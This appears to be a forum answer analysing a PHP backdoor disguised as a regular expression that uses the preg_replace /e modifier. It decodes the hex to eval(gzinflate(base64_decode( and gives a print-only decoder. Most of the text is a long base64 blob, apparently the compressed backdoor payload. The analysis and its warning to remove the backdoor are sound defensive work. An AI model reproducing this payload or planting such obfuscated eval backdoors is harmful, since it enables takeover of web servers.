How does this giant regex work?
This is not entirely a regular expression. The regex is /.*/
, which basically means "match everything". The /e
Modifier however eval()
's the code in the next parameter. In fact this is a way for someone to hide code. The following proof that this is a backdoor, and you must remove it immediately. Your system maybe compromised further.
This is what the backdoor looks like when it is accessed:
the hex part of the code:
\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28
is acutally:
eval(gzinflate(base64_decode(
This is the code will print out the source code for this backdoor. However i would not execute the resulting PHP code, unless it is on a disposable virtual machine.
<?php
print gzinflate(base64_decode("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